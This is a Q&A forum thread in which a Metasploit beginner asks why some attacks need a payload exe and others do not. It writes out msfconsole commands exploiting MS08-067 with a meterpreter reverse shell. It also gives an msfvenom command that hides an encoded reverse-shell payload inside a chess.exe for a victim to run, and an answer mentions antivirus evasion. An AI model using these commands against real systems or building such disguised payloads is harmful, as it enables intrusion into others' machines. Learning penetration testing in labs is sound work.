When to send exe file to target system in order to exploit via metasploit

Question

I am newbie in Metasploit. Still learning the basics but I'm confused and would like some help.

1) - Previously I learnt how to simply exploit any O.S. vulnerability using meterpreter. We can send an exploit to the target system and create a bind/reverse shell for control. Example -

Hack windows xp with MS08-067 exploit

msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4 (Target) RHOST => 192.168.1.4

msf exploit(ms08_067_netapi) > exploit meterpreter > sysinfo meterpreter > shell

Now by the above commands we can use a shell of target from the attacker machine. There is no need to create any exe in order to connect to the target vulnerable system. Meterpreter automatically injects memory and we can get shell.

2) -

Now when we use an encoder we have to create an exe and have to bind our payload inside the exe. When the victim runs this exe we can get the victim's system shell.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= "" LPORT= ""-x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe

In order to exploit the victim's system we have to transfer this exe to their system.

Question:

Previously we don't require any exe in order to exploit a system but with use of an encoder we need an exe to hide the payload. Can we simply encode our meterpreter tcp_bind payload without exe and send this to victim system?

Any help really appreciable.

Answer 1

BackGround info (Because metasploit is my jam) : Most up to date systems are not really susceptible to remote attacks (Like you imply). The remote access payload you specified is used on windows XP for example. The reason msfvenom and other things are used, in conjunction with the exe is because it can be used to try and evade Anti-virus and other things along the lines. (However encoding is used to get rid of bad chars not make something invisible to anti-virus.)

Answer: Yes you are able to directly exploit the system, however you don't need to specify the payload. Upon successful exploitation with ms08 a meterpreter session will be opened.

Example of Exploit: msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set rhost <IP>; exploit"

Here is a useful link for this specific payload.

(if this is what you meant by previously)